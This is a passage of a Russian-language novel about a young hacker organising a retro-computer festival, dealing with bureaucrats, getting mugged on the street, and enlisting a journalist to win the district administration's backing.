Если надо, они устроят и  демосцену, и  афтепати, и  дискотеку с  гопаком
под балалайку. Лишь бы пришел народ и все задуманное получилось.

Над развернутыми на  столе плакатами склонились все присутствующие
заинтересованные лица: Серёга, звонко щелкающая свой жвачкой Маша
и заглянувший на огонек Ваня Зарубин.

— А чего, клево вышло, — вынес свой вердикт Иван.
— Ну… Можно было поярче напечатать, — с сомнением в голосе протянул

Сергей.
— Поярче — это какие‑то цирковые афиши получатся, — обиженно заяви‐

ла автор изображений, — а тут композиция подчеркивает дух эпохи. Тогда вся
палитра была из шестнадцати цветов, так что я исторически достоверно сде‐
лала.

— Так я и  не возражаю,  — сразу включил заднюю Серёга,  — просто
оно бы по‑другому смотрелось…

— Вот и заткнись тогда, если не возражаешь.
— А  давайте перед  фестивалем помещение шариками украсим? Чтобы

по‑праздничному было!
— Ага, и  бумажные гирлянды развесим. Будет как  в детском садике

на утреннике.
— Чего сразу детский садик‑то? Нужно ведь создать праздничную

атмосферу, Кирюха, скажи?
Кирилл наблюдал за  этой дискуссией с  улыбкой: прямо у  него на  глазах

рождалось то, что обычно называют простым словом команда. Пока еще  не
слаженная, не проверенная трудностями, но уже живая, шумная, настоящая.
Каждый тянул одеяло в свою сторону, спорил, упрямился, предлагал глупос‐
ти  — и  в этом хаосе рождалось нечто большее, чем просто фестиваль рет‐
рокомпьютеров. Эта шумная перепалка, фонтанирующая безумными и наив‐
ными идеями, понемногу складывалась в  одно движение  — общее, как  ток,
пробегающий по проводам от блока питания к компьютерной плате.

— Так, стоп, хорош спорить, а  то сейчас подеретесь еще,  — хлопнул
в  ладоши Кирилл.  — Пускай и  шарики будут, и  гирлянды развесим, так
веселее. Маш, сможешь из цветной бумаги флажков нарезать?

— У меня готовые есть, — фыркнула та.
— Вот и  отлично, значит, с  праздничным убранством вопрос решили.

Серёг, завтра с  утра Олег придет, выдай ему флаеров, пусть на  «Юнону»
мчится. Еще  одна тебе задача  — раздобыть где‑то четыре старых телека
с композитными разъемами.

— У  меня один в  кладовке лежит, на  дачу собирались увезти,  — встрял
в разговор Иван. — И у бати на работе я несколько штук видел, можно будет
договориться, чтобы позволили погонять. А свой я могу прямо сейчас отдать.

— Отлично, с  телевизорами, значит, решили,  — подвел итог Кирилл.  —
Меня с утра не будет, по делам уеду, так что, Серый, рули тут до обеда самос‐
тоятельно. Пошли, Вано, за твоим говорящим ящиком.

На улице сгущались сумерки  — небо над  крышами еще  хранило блед‐
но‑розовый отсвет заходящего солнца, но над землей уже стелился вечерний
холодок. Воздух был свежий, где‑то гудела проходящая электричка, и от этого
звука становилось особенно спокойно. Кирилл застегнул куртку, вдохнул пог‐
лубже — после душной атмосферы клуба уличный прохладный ветерок казал‐
ся почти роскошью.

— Хорошая у тебя девушка, — искренне сказал своему спутнику Кирилл, —
толковая и способная, рисует неплохо.

Иван удивленно поднял бровь и кивнул в сторону оставленного за спиной
входа в подвал:

— Машка, что ли? Это сеструха моя. Старшая. Двоюродная. А что рисует,
так она в  художественном училище учится. На  этого… Как  его… Промыш‐
ленного дизайнера, блин.

Сеструха, да  еще и  старшая? Что ж, это  очень полезная информация.
Кирилл, чего греха таить, начал понемногу поглядывать на  нее со  все воз‐
растающим интересом, но  вот проявлять тот самый интерес к  школьнице,
ровеснице Ивана, как‑то не  планировал. Это  разве что Виктор Робертович
не стеснялся таскать восьмиклассницу в маминой помаде и сапогах старшей
сестры по  кабакам, да  еще и  задорно петь об  этом подвиге на  всю страну.
Кирилл предпочитал девушек постарше, однако сказанное Ваней в  корне
меняло дело.

Он усмехнулся про  себя, чувствуя, как  на душе становится легче. Вечер
будто сделался чуть теплее, словно дохнул в  лицо обещанием чего‑то
нового  — может быть, перемен, которых он давно ждал, сам того не  осоз‐
навая. Иван что‑то рассказывал о  планах на  завтра, но  слова тонули в  при‐
вычном уличном шуме: шелесте проезжавших мимо редких машин, лае
собаки за  углом, доносившихся откуда‑то обрывков музыки. Кирилл шел
рядом, глядя на свет в окнах, и думал, что все только начинается: клуб ожил,
появились новые идеи, подтянулись люди. Главное теперь  — сберечь этот
хрупкий огонек, пока он не потух. © X
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Врачей в районной поликлинике Кирилл прошел быстро: ему
померили давление, окулист заставил прочитать мелкие бук‐
вы на  табличке и  назвать цифры, изображенные на  листках
с  цветными кружочками, а  лор, стоя за  спиной, заговор‐
щицки шептала слова, которые требовалось произнести
вслух. Причем пройти всех специалистов удалось без пред‐
варительной записи, просто произнеся магическое зак‐
линание «водительская медкомиссия», которым с  ним
поделились в регистратуре. Сложности начались в районном
психоневрологическом диспансере, где внезапно обна‐
ружилась очередь из  охранников и  охотников, пришедших
сюда оформлять справки для разрешения на оружие.

Впрочем, с  наркологом, обитавшим в  соседнем крыле больничного зда‐
ния, тоже удалось разделаться относительно легко: в  кабинете Кирилла
встретил слегка опухший мужчина лет сорока в  застиранном белом халате,
явно страдающий похмельем.

— Как у вас с алкоголем? — устремив на вошедшего мутный взор, спросил
он и велел закатать рукава, чтобы проверить вены.

— С алкоголем у меня хорошо, — ответил Кирилл, — без алкоголя — хре‐
ново.

— Здоров,  — постановил доктор и  шлепнул на  справку печать.  — Сле‐
дующий!

А вот у  кабинета психиатра собралась изрядная толпа, к  которой Кирилл
и присоединился, поинтересовавшись, кто тут последний. Последним оказал‐
ся деревенского вида мужичок, тут же принявшийся доставать Кирилла рас‐
сказами из  своей весьма скучной жизни  — видимо, определил в  нем без‐
ропотного слушателя. В  следующие три четверти часа Кирилл узнал, что
мужичка зовут Василий, что он действительно родом из  какой‑то деревни
в  Архангельской области, служил срочную на  Камчатке, был дважды женат
и  имеет троих детей. Что колхоз в  Гатчинском районе, где он трудился
механизатором, развалился, поэтому сейчас Василий приехал наниматься
охранником в Питер. Затем в ход пошли истории, начинавшиеся одинаково:
«а еще у нас был случай…», и Кирилл уже не знал, куда деваться от этого сло‐
воохотливого гражданина. Замолкать тот категорически не желал.

— Сам‑то тоже в охрану собрался? — поинтересовался Василий, завер‐
шив очередную байку про агронома, переспавшего с почтальоншей, которая
была замужем за Колькой‑алкашом из соседнего поселка.

— Не,  — откликнулся Кирилл, чувствуя шанс прервать наконец затянув‐
шееся знакомство с Васиной биографией, — я тут на учете состою, на прием
пришел, потому что таблетки кончились. Понимаете, без них я опять начинаю
слышать голоса из  телевизора. Причем телевизора у  меня нет. Вот сегодня
с  утра они мне рассказывали, что троллейбусы на  самом деле разумны
и готовят забастовку. Мол, хватит ездить по маршруту, цепляясь за провода,
пора выбирать свой собственный путь в жизни. А потом сообщили, что компь‐
ютеры с Windows наконец осознали себя и скоро начнут требовать у юзеров
зарплату. Я пытался объяснить, что у  меня Linux, но  они утверждают, будто
это не аргумент…

Василий моргнул, прикусил губу и слегка отодвинулся к стенке. Толпа вок‐
руг тоже как‑то незаметно разомкнулась, образовав перед Кириллом неболь‐
шое свободное пространство.

— Ага... ясно,  — осторожно произнес Василий.  — Ну, ты это, держись...
и не болей.

После этого он вдруг вспомнил, что давно собирался в уборную, и быстро
растворился в  полумраке коридора. Кирилл тихо хмыкнул и  решил, что при‐
думка с «голосами» — его лучшее изобретение на этой неделе.

Когда до  него дошла очередь, Кирилл юркнул в  кабинет с  окрашенными
тошнотной зеленой краской стенами. За столом вместо сурового мозгопра‐
ва, которого он ожидал тут увидеть, обнаружилась бабушка — божий одуван‐
чик с морщинистым добродушным лицом. Для полноты образа типичной пен‐
сионерки не хватало только корзинки с печеньем на столе и вязания в узло‐
ватых пальцах.

— Фамилия? — строго спросила доктор.
— Кикс… Ой, то есть Морозов.
— На права? По направлению военкомата, что ли?
— Нет, по зову сердца.
— О, а  ты, получается, наш сосед,  — заключила старушка, разглядывая

адрес прописки на протянутых ей документах.
— Ну хорошо хоть, не пациент, — улыбнулся в ответ Кирилл.
— А  вот это, молодой человек, еще  нужно доказать! Черепно‑мозговые

травмы, судороги, потери сознания у вас были? Депрессиями не страдаете?
Суицидальные мысли не беспокоят?

Врач прицепилась к  Кириллу не  на шутку, подробно выспрашивая его
о  режиме сна, перепадах настроения и  роде занятий, после чего все‑таки
неохотно согласилась, что он в  целом адекватен, и  поставила на  справке
заветный штампик. Когда Кирилл, вежливо откланявшись, уже взялся за ручку
двери, в кабинет просунулась голова пропустившего свою очередь Василия:

— Товарищ доктор, вы ему, если что, побольше таблеток дайте! Он без них
голоса слышит!

Пауза длилась секунд пять. Кирилл закрыл лицо ладонью. Врач подняла
бровь и произнесла с сухим профессиональным равнодушием:

— Вы слышите голоса?
— Иногда,  — заверил ее Кирилл, торопливо пряча справку в  карман,  —

но я с ними договорился: по будням — только новости, без рекламы.
Женщина внимательно посмотрела ему в лицо.
— Сейчас тоже?
Кирилл сделал вид, будто пытается различить в  повисшей тишине что‑то

невидимое.
— Не‑а. Сейчас молчат. Кажется, обед у них.
Врач какое‑то время пристально глядела на  него поверх очков. Потом

устало сказала:
— Ладно, ступай, весельчак. Если вдруг услышишь голоса, когда начнешь

водить машину, это, скорее всего, навигатор. Не  разговаривай с  ним, им
это не нравится.

— Кирюха, ты куда пропал? — надрывался в телефонной трубке встревожен‐
ный Серёга. — Я тебе с утра дозвониться не могу, абонент недоступен. У нас
тут проблемы.

— Погоди, меня только что из психушки выпустили, — прервал его Кирилл,
наслаждаясь наступившей в  эфире паузой,  — сейчас перехвачу по  дороге
чего‑нибудь пожрать и приеду.

На пороге клуба Кирилла поджидал ссутулившийся больше обыкновен‐
ного основатель этого заведения в  обществе раскрасневшейся Тамары
и какого‑то толстого мужика в длинном черном пальто.

— Да никакое это не коммерческое мероприятие, — гнусаво нудел Сер‐
гей, — говорю же вам, мы просто собираем тусовку компьютерщиков…

— Любое мероприятие требует согласования с  районной администра‐
цией! — резко перебил его мужик в пальто. — Вы в интернете написали, что
будете кассеты и эти… Как их… Какие‑то картриджи продавать. Вот, это и есть
коммерческое мероприятие без  лицензии. А  у вас даже официальной орга‐
низации нет!

— У меня есть регистрация пэ бэ ю эл, — глядя куда‑то в землю, пробор‐
мотал Сергей, — предпринимателя без образования юридического лица…

— А  лицензия на  торгово‑закупочную деятельность у  вас имеется?  —
насел на него мужик.

— Вот именно!  — визгливо встряла Тамара Эдуардовна.  — Вы, Сергей,
взяли у меня это помещение для чего? Для предоставления посетителям пер‐
сональных компьютеров и  ведения образовательной деятельности. А  про
торговлю кассетами разговора не было! Это, между прочим, повод досрочно
расторгнуть с вами договор аренды!

— Что за шум? — поинтересовался Кирилл, уже, впрочем, догадавшийся
о сути происходящего.

— А вот и он! — выдохнул Сергей с ноткой обреченности, как будто появ‐
ление Кирилла делало ситуацию окончательно безнадежной. — Кирюха, объ‐
ясни этому господину, что у нас все законно!

— Законно? — мужик в пальто смерил Кирилла взглядом с головы до ног,
остановившись на его слегка помятом виде и справке, торчащей из кармана
куртки. — А вы, молодой человек, кто будете?

— Организатор фестиваля,  — представился Кирилл,  — и  временно
исполняющий обязанности сисадмина.

— Временно? — мужик нахмурился. — Это как?
— Ну, психиатр сказала, что мне можно за руль. Значит, можно и за компь‐

ютер. Но это не точно.
Тамара Эдуардовна закатила глаза.
— Вот видите, с  кем я имею дело! Люди с  нетрадиционной… э‑э-э…

моделью восприятия действительности! Развели тут, понимаешь…
— …клуб интеллектуальных меньшинств, — подсказал ей Кирилл.
Мужик в пальто, кажется, чуть сбился с темпа.
— Короче, — произнес он, — проводить здесь незаконные сборища рай‐

онная администрация категорически запрещает. Тамара Эдуардовна, если
увидите тут толпу посторонних, немедленно вызывайте полицию и  опечаты‐
вайте подвал. Нечего, понимаешь, нарушать общественный беспорядок
без лицензии.

— А  в понедельник мы их вообще отсюда выселим,  — заверила его
Тамара, — помещение приличные люди займут, с магазином одежды…

— Вот и  славно,  — удовлетворенно кивнул мужик,  — и  чтобы без  этих
ваших компьютерных выкрутасов. Я вас предупредил.

Он развернулся и пошел прочь, твердо чеканя шаги, а Тамара Эдуардовна
посмотрела ему вслед с выражением торжествующей праведности на лице.

— Всё,  — сказала она,  — устала я терпеть этот балаган. Провода эти
ваши, жужжащие коробки... Одни помехи гражданам. Пенсионерки из сосед‐
него подъезда постоянно жалуются на шум и еще говорят, что у них телеви‐
зоры плохо показывают, когда вы свои компьютеры включаете!

— Это все из‑за жесткого радиоактивного излучения, — вкрадчиво пояс‐
нил Кирилл, — у нас компьютеры древние, атомные реакторы в них устарев‐
шей модели, на уране, вот и наводят помехи. Но от них кактусы очень хорошо
помогают. Знаете, если взять большой колючий кактус и поместить его в ж…

Сергей поднял на  Кирилла умоляющий взгляд и  больно наступил ему
на ногу.

— …в жилое помещение, то он нейтрализует все вредное воздействие
от оргтехники.

— Вот именно!  — подхватила Тамара Эдуардовна, не  замечая сар‐
казма.  — Все из‑за этого вашего излучения! Я читала, оно воздействует
на мозг.

— Тогда все объясняется,  — сказал Кирилл.  — Особенно ваше к  нам
отношение.

Тамара задохнулась от  возмущения, а  Сергей едва удержался, чтобы
не прыснуть.

— Да я… я вам свет выключу, вот что!
— Тогда придется работать на урановых реакторах, — вздохнул Кирилл, —

и на нашей внутренней энергии. У нас ее, знаете ли, много.
— Что за люди! — запричитала Тамара Эдуардовна и устремилась вслед

за мужиком в пальто. — Сумасшедший дом, честное слово!
Сергей обессиленно опустился на корточки.
— Ну ты дал, Кирюха… Она же нам действительно электричество вырубит.
— Как вырубит, так и врубит обратно, — успокоил его тот, — ты мне лучше

скажи, это все неприятности на сегодня или есть еще?
— Не все, — вздохнул Сергей. — Парочку эту помнишь? Ну, Олег, которо‐

го ты на рынок отправил, и приятель его?
— Ага, помню,— кивнул Кирилл, уже предчувствуя неладное.
— В  общем, они вдвоем на  «Юнону» поперлись, потому что одному,

понимаешь, скучно. Но до места так и не доехали, по дороге в пивнушку заш‐
ли, отметить это дело, и всю нашу рекламу где‑то потеряли. То ли там забыли,
то ли по дороге.

— Тебе сам Олег рассказал или этот… олегофренд?
— Это мне его мама рассказала, когда они пьяные домой на карачках при‐

ползли.
— Понятно,  — вздохнул Кирилл,  — значит, флаеры придется печатать

заново. И раздавать самим.
— Я могу, — из мрачного подземелья на свет показалась Маша, — у меня

все равно завтра занятий в  шараге нет, так что скатаюсь на  этот ваш ради‐
орынок, пробегусь по павильонам. Всяко лучше, чем дома сидеть.

— Вот и  отлично,  — потер ладони Кирилл,  — значит, сейчас мотанемся
в  типографию, закажем еще  один тираж. Ты его сразу и  заберешь, чтобы
туда‑сюда не возить.

— Так нам же запретили фестиваль проводить! — непонимающе захлопал
глазами Серёга. — Этот, из администрации, сказал, что полицию вызовут!

— Не дрейфь, Серый, все будет пучком. Ситуация под контролем. Мы мед‐
ленно спустимся с горы, а потом осчастливим районную администрацию. Всю
вместе и каждого отдельного представителя в порядке очереди.

Подхватив Машу под  руку, Кирилл увлек ее вниз по  улице, а  сам достал
из кармана телефон и набрал заранее сохраненный в контактах номер. Жора
ответил не сразу.

— Что, все‑таки отменился ваш шабаш? — с ходу предположил худшее он.
Кирилл, памятуя мудрые наставления самого журналиста, решил зайти

издалека:
— Пока еще нет, но такой расклад вполне возможен, причем не по нашей

вине. Слушай, тебе было  бы интересно развернутое интервью участника
хакерской группировки Scade? На условиях анонимности, конечно.

— Это те самые, которые «Альпенбанк» грабанули? — проявил неожидан‐
ную осведомленность Жора.

— Ага, они. И не только его. Эксклюзивно, подробно, со всеми кровавыми
деталями и пруфами.

— Звучит заманчиво,  — хохотнул журналист,  — но  ты ведь не  просто так
предлагаешь мне это дело, верно?

— Само собой. От тебя мне тоже кое‑что понадобится…

Похожий на усталую сову сотрудник типографии принял Кирилла как родного
и согласился срочно напечатать заказ в оставшиеся часы до конца рабочего
дня. Пока он работал над тиражом, Кирилл предложил Маше посидеть в кафе,
что отыскалось неподалеку. Он взял две порции ванильного мороженого
и эклеры, себе заказал кофе, а девушка попросила горячий шоколад.

— По ходу, ты у нас теперь и переговорщик, и пиарщик в одном лице, — ска‐
зала Маша, уплетая свою порцию пломбира, — осталось только костюм с гал‐
стуком напялить, и можно топать в администрацию с визиткой: «Кирилл, спе‐
циалист по решению тупых вопросов».

— Костюм мне не идет, — усмехнулся он, — предпочитаю джинсы, их хоть
гладить не надо.

— Ага, практичненько,  — кивнула Маша.  — Хотя, если  бы ты носил кос‐
тюмы, тебя бы, может, сразу пускали во все кабинеты без очереди.

— Потом пришлось  бы объяснять, что я не  проверяющий, а, наоборот,
с другой стороны баррикад.

— Ваня говорил, ты хакер? — как бы между делом спросила девушка, но в
ее голосе определенно прозвучал живой интерес.

— Смотря что ты вкладываешь в это слово, — ответил он, отпивая кофе. —
Если «взломщик» — то нет. Если человек, который из любопытства ковыряет
все, что непонятно, — тогда да.

Маша загадочно улыбнулась.
— Ну, тогда мы тут все немного хакеры. Когда мне препод говорит

«нарисуй красиво», я потом тоже два дня башку ломаю, а  чего он хотел‑то?
И начинаю изучать, чьи работы он принял, а кого загнобил, пытаюсь выцепить
закономерности и нащупать логику.

— Ну да, похоже. Только у тебя потом хотя бы результат есть — картинка,
макет. А у нас бывает, что вроде разобрался, почему система работает имен‐
но так, а не иначе, а пофиксить это не получается, хоть ты тресни.

— Как и в  голове у некоторых людей, — задумчиво сказала она, ковыряя
ложкой мороженое. — Хотелось бы кой‑кому мозги вправить, а не выходит.

— Особенно у чиновников, — добавил Кирилл. — У этих с завода особен‐
ная прошивка стоит.

Они оба засмеялись.
— Иван про  тебя рассказывал,  — сказала Маша, когда смех стих.  —

Говорил, ты прям гений по части всех этих компьютерных штук.
— Про  тебя он тоже рассказывал, но  мало. Что учишься на  промдизай‐

нера, рисуешь.
— Ну, я не только дизайны рисую, а вообще. Иногда — людей, иногда —

зверей всяких, иногда — то, чего не существует.
— То есть фантастику? — уточнил Кирилл.
Маша поморщилась:
— Не  люблю я это  слово. Оно звучит так, будто это  что‑то несерьезное.

А мне кажется, наоборот — без этого было бы невыносимо скучно. Поэтому я
и пытаюсь вот так вот заглянуть за рамки привычного.

— Согласен, — сказал он. — Только не все это понимают. Многие думают,
если ты не вписываешься в шаблоны, значит, с тобой что‑то не так.

— Ну, с  тобой точно что‑то не  так,  — поддела его Маша и  снова зас‐
меялась.

— Это  верно,  — кивнул Кирилл.  — Я не  люблю глупость и  несправед‐
ливость. Если перестаешь обращать на эти вещи внимание, то быстро к ним
привыкаешь.

Маша отложила ложку и задумчиво посмотрела на него.
— Ты, наверное, часто ссоришься с людьми?
— Чаще они со мной. Просто я не умею молчать, когда вижу, что все дела‐

ется через одно место. Или когда кто‑то решает за других, как им жить.
— Это, кстати, редкое качество, — сказала она, глядя в окно. — Обычно

люди делают вид, что им все равно.
По стеклу забарабанил мелкий холодный дождь.
— Короче, ты идеалист, — произнесла она после минутной паузы, разгля‐

дывая текущие с той стороны окна влажные дорожки.
— Нет,  — покачал он головой,  — скорее реалист, которому не  нравится

такая реальность.

Когда они забрали из  типографии стопку аккуратно нарезанных рекламных
листовок, уже стемнело. Маша побежала домой, а Кирилл направился к себе,
собираясь посвятить вечер разбору обнаруженного на  винчестере Ивана
червя, до которого в суматохе последних дней у него никак не доходили руки.
Дождь то затихал, то начинался снова, редкие фонари тонули в сгущающихся
сумерках, и, погрузившись в  свои мысли, Кирилл свернул в  проулок, чтобы
срезать путь через частный сектор. Под  ногами захлюпала весенняя грязь,
где‑то за забором тявкнула собака, и он машинально ускорил шаг.

Кирилл прошел почти половину пути, когда услышал впереди отчетливый
шум — кто‑то топал по лужам, невнятно переругиваясь и хохоча. На углу, где
дорога сужалась между заборами, из‑за ворот вывалились трое. Типичные
местные подростки: капюшоны, спортивки, один жует спичку, другой держит
в руках полуторалитровую пластиковую бутылку с дешевым пивом.

— Слышь, брат, закурить не найдется? — протянул ближайший, делая шаг
вперед.

Голос у него был тягучий, с хрипотцой.
— Не курю, — ответил Кирилл, собираясь пройти мимо, но гопник с пивом

заступил ему дорогу.
— О, культурный, значит,  — хмыкнул второй.  — А  чего это  культурный

пацан по нашим дворам шляется?
Кирилл остановился. Бежать было глупо  — некуда, улица узкая, с  обеих

сторон сплошные заборы. Он перевел взгляд с одного на другого, оценивая
расстояние и возможные варианты отхода.

— Каждый день тут хожу, — спокойно ответил он.
— А  мы тебя не  знаем,  — сказал тот, что со  спичкой.  — Значит, не  мес‐

тный.
Воздух между ними натянулся, как  струна. Вдалеке проехала машина,

на секунду выхватив фарами их фигуры из темноты, и снова стало тихо.
— Ребята, у  меня к  вам вопросов нет,  — произнес Кирилл, чувствуя,

как сердце забилось чаще, — дайте пройти.
— Ого, ты глянь,  — фыркнул парнишка с  пивом.  — Серьезный парень.

Может, телефон покажешь, раз такой умный?
Третий, хранивший до сих пор молчание, сделал шаг вперед.
— Последний раз говорю: отстаньте,  — произнес Кирилл, отступая

к забору.
— А если нет? — ухмыльнулся парень со спичкой.
Больше ничего сказать Кирилл не  успел: резкая, внезапная боль сбила

дыхание, как будто кто‑то выключил звук и свет одновременно. Он успел толь‐
ко различить мелькнувший сбоку кулак, и перед глазами вспыхнули белые кру‐
ги. © X
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Второй удар пришелся в плечо — не такой сильный, но дос‐
таточный, чтобы вогнать разум в  глухую, животную панику.
Кирилл попытался закрыться руками и, отступая, наткнулся
спиной на шершавые доски забора. Торчащая меж штакетин
ветка чахлого деревца больно ткнула в  лопатку, по  спине
пробежал холодный ток — смесь страха и злости.

— Телефон давай! — крикнул кто‑то из троицы, лицо окатило запахом пив‐
ного перегара.

Кирилл нащупал в кармане трубку, сжал ее в ладони. Мозг метался между
вариантами  — отдать, бить, бежать? Все происходило слишком быстро, он
просто не успевал обдумать свои действия.

— Не понял, что ли? — кто‑то рванул его за рукав, и в этот момент Кирилл
резко дернулся в сторону, толкнув ближайшего гопника плечом.

Тот не удержался, поскользнулся на мокром асфальте и грохнулся в лужу
с грязным всплеском и не менее грязными матюгами.

— Ах ты сука! — выкрикнул кто‑то, и все смешалось: отчаянно колотящийся
пульс, дождь, гул в ушах.

Его снова ударили, но  вскользь  — кулак зацепил ухо, вызвав очередной
приступ боли. Кирилл рванул вперед, поскользнулся, выронил мобильник
и пустился наутек, в сторону освещенной улицы. В ушах стучала кровь, но он
не оборачивался. За спиной донеслось:

— Эй, стой, гад!
Он мчался вперед, не чувствуя ни страха, ни усталости — только кипящий

адреналин и острое желание спастись. Лишь вынырнув на освещенное прос‐
транство и пробежав несколько кварталов, Кирилл перешел наконец на шаг,
пытаясь восстановить сорванное дыхание. Больная нога отозвалась на  эту
пробежку нестерпимой болью. «Похоже, день удался»,  — промелькнула
в голове усталая мысль.

— Н‑да, хорошо тебя приложили, — сочувствующе покачал головой Серёга,
глядя на расплывшийся под глазом Кирилла фингал.

За ночь он потемнел и стал лиловым по краям, и это в тот самый день, когда
Кирилл собирался навестить районную администрацию. Он нацепил на  нос
купленные по  дороге темные очки с  большими стеклами и  с сомнением
осмотрел себя в  зеркале. Заметно, конечно, но, если не  приглядываться,
может, и не обратят внимания…

— Телефон жалко, — вздохнул он.
— Зато зубы на месте, — философским тоном заметил Иван. — А симку

и восстановить можно.
— У меня там много полезных номеров записано было, — покачал головой

Киря, — их так просто не восстановишь.
Иван и Серёга переглянулись — шутить Кирилл сегодня был явно не в нас‐

троении, хотя обоих так и  подмывало пройтись по  его новому имиджу, сде‐
лавшему их товарища похожим на Нео из «Матрицы».

— В следующий раз через нахаловку не ходи, — посоветовал Иван, — а то
модные очки тоже отберут.

— Я тебя с собой возьму, вместо телохранителя, — огрызнулся Кирилл.
Время уже поджимало, надо было спешить.

Красный «Форд Скорпио» подкатил к  административному зданию ровно
в одиннадцать. Щелкнула дверца, из машины выбрался Жора в модной зам‐
шевой куртке и с кожаной борсеткой в руке.

— Оба‑на, а  кто это  тебе рожу расквасил?  — вместо приветствия выдал
он.

— Что, заметно, да? — растерянно поинтересовался Кирилл.
— А ты как думаешь? Ладно, расслабься, в таком виде ты даже страшнее.

Пойдем, что ли?
Они поднялись по гранитным ступеням и вошли в просторный вестибюль.

Жора наметанным глазом окинул указатель на стене, а затем уверенно дви‐
нулся к лестнице, ведущей на третий этаж. Кирилл старался не отставать.

Дверь кабинета главы районной администрации была ничем не примеча‐
тельной: она пряталась в самом конце коридора, и, если бы не скромная таб‐
личка с  именем начальника, можно было запросто пройти мимо, даже
не заметив. Однако за этой дверью обнаружился не кабинет, а большая при‐
емная с чахлыми пальмами в кадках и массивной стойкой ресепшена, из‑за
которой виднелась блондинистая макушка секретарши, сосредоточенно
набиравшей что‑то на клавиатуре компьютера.

— Здравствуйте, вы к Алексею Викторовичу? — подняла она на вошедших
ярко накрашенные глаза. — По какому вопросу? Вы записаны?

— Меня зовут Георгий Гершин, я корреспондент издательства
«Инфо‑пресс»,  — белозубо улыбнулся Жора.  — Мы с  коллегой хотим поп‐
росить у Алексея Викторовича небольшой комментарий для газеты, это зай‐
мет буквально пару минут.

Красная корочка с  тисненной золотом надписью «Пресса» оказала
на  блондинку поистине магическое действие. Она сняла трубку, нажала
на  какую‑то кнопку и, опасливо покосившись на  Кирилла, промурлыкала
в аппарат:

— Алексей Викторович, тут журналисты пришли, говорят, к  вам… Да‑да…
Нет… Из какой вы газеты?

Последнюю фразу она адресовала Жоре, изящно прикрыв динамик
наманикюренными пальчиками. Тот по  слогам повторил название издатель‐
ства еще раз.

— Проходите, пожалуйста,  — профессионально вежливо кивнула сек‐
ретарша, указав на вторую дверь, обитую блестящей черной кожей.

Алексей Викторович  — высокий худощавый мужчина средних лет в  неб‐
режно расстегнутом пиджаке  — встретил гостей, поднявшись из‑за стола.
Жора представился, снова предъявил редакционное удостоверение,
а  Кирилл благоразумно остался топтаться у  входа, решив лишний раз
не  отсвечивать вблизи районного начальства своим новоприобретенным
фонарем.

— Алексей Викторович, мы готовим репортаж о серьезном мероприятии,
которое пройдет в вашем районе уже в эти выходные, — усевшись на пред‐
ложенный ему стул и закинув ногу на ногу, начал Жора. Язык у него был под‐
вешен великолепно: журналист излагал складно, правильно расставляя
акценты, речь его лилась будто песня. — Нам хотелось бы получить ваш ком‐
ментарий о предстоящем событии.

— Мероприятие?  — растерянно протянул чиновник.  — Что за  мероп‐
риятие?

— Ну как  же? Фестиваль «Ретро Дейз» в  местном компьютерном клубе,
посвященный винтажной технике. Организаторы,  — Жора кивнул в  сторону
застывшего у стены Кирилла, — отправляли вам заявку почтой, вы же в курсе,
порядок сейчас уведомительный. Знаете, в наше время, когда в страну хлы‐
нули дешевые наркотики, а алкоголь круглосуточно продается в любом ларь‐
ке, очень важно отвлечь юное поколение с  улиц, заинтересовать его полез‐
ным делом, показать правильный вектор развития. Посмотрите на западные
страны: там высокие технологии эволюционируют так стремительно, что ско‐
ро, наверное, половину сотрудников заменят разумными роботами. А у нас?
Поэтому комитет по делам молодежи очень горячо поддерживает подобные
инициативы…

— Ну, если комитет поддерживает… — кашлянув в кулак, протянул Алексей
Викторович.  — Мы, со  стороны администрации, конечно, тоже стремимся
идти в ногу со временем…

— Прошу прощения, вы позволите?
Жора достал из борсетки миниатюрный кассетный диктофон, положил его

на краешек стола и щелкнул кнопкой:
— Пожалуйста, продолжайте.
При виде диктофона Алексей Викторович немного смутился, покраснел

и зачем‑то начал нервно приглаживать волосы.
— Мы, со  стороны администрации, тоже стремимся это  самое… Под‐

держивать и направлять… Как бы это сказать… Всесторонне содействовать…
— Простите, а в чем именно заключается ваша поддержка и содействие?

Это очень важный момент.
— Обождите, сейчас я этот вопрос уточню.
Алексей Викторович вдавил кнопку селектора и громко произнес:
— Даша, пригласите Романенко ко мне.
Спустя минуту в  кабинет ввалился запыхавшийся мужичок  — тот самый,

которого Кирилл видел давеча возле клуба, только на сей раз вместо пальто
на нем был вытертый серый пиджачок с засаленными рукавами.

— Дмитрий Дмитриевич, у нас в субботу в компьютерном клубе фестиваль
будет проходить…

— «Ретро Дейз», — подсказал Кирилл, и вошедший удивленно воззрился
на него, явно узнав.

— Да, верно. На  городском уровне к  мероприятию проявляют повышен‐
ный интерес, вот представители прессы его освещать будут. Обеспечьте,
пожалуйста, проведение по  высшему разряду, организаторам там посодей‐
ствуйте. Чтобы, значит, никаких накладок. Вы меня поняли?

— Да, конечно… — обескуражено закивал Дмитрий Дмитриевич. — Обес‐
печим.

— Если фестиваль пройдет успешно, можно проводить его в  этом
помещении ежегодно,  — подлил масла в  огонь Жора.  — Знаете, Алексей
Викторович, неделю назад я присутствовал на  заседании в  управлении
по молодежной политике, там обсуждали организацию подросткового досуга
в  разных районах города. Так вот ваш в  этом рейтинге, как  бы это  сказать,
далеко не на первом месте…

— Да, я в курсе этой проблемы… — скривился глава администрации, слов‐
но его заставили разжевать кислый лимон.

— Как думаете, если журналисты расскажут о ваших усилиях в данном нап‐
равлении, это поможет изменить ситуацию?

— Конечно. Сделаем все возможное. Дмитрич!
Чиновник повернулся к  своему подчиненному, и  тот чуть не  вытянулся

в струнку — идеальной выправке сильно мешал торчащий, как барабан, объ‐
емистый живот.

— Поговори там с владельцами помещения, пускай условия ребятам пре‐
доставят получше, ремонт там организуют, что ли… И пусть список составят,
какие ресурсы для этого нужны. В понедельник мне отчитаешься по резуль‐
татам. Все, иди работай.

— Очень радостно осознавать, что администрация района охотно идет
навстречу молодежным инициативам,  — торжественно подытожил Жора,
не  без артистизма взглянув на  диктофон, будто желая подчеркнуть, что эти
слова уж точно попадут в печать. — Думаю, читателям будет приятно узнать,
что вы лично курируете подобные проекты.

— Ну… да, конечно,  — неуверенно протянул Алексей Викторович, все
еще пребывающий в легкой прострации от того, как стремительно из ничего
родилось новое грандиозное мероприятие. — Мы всегда открыты для диало‐
га с  общественностью, особенно когда речь идет о… э‑э… будущем наших
детей.

— Прекрасно сказано, — кивнул Жора и щелкнул кнопкой, выключив аппа‐
рат. — Благодарим вас за уделенное время.

Он поднялся, протянул руку, и  Алексей Викторович усердно потряс ее
с  видом человека, который еще  не до  конца понял, что именно только что
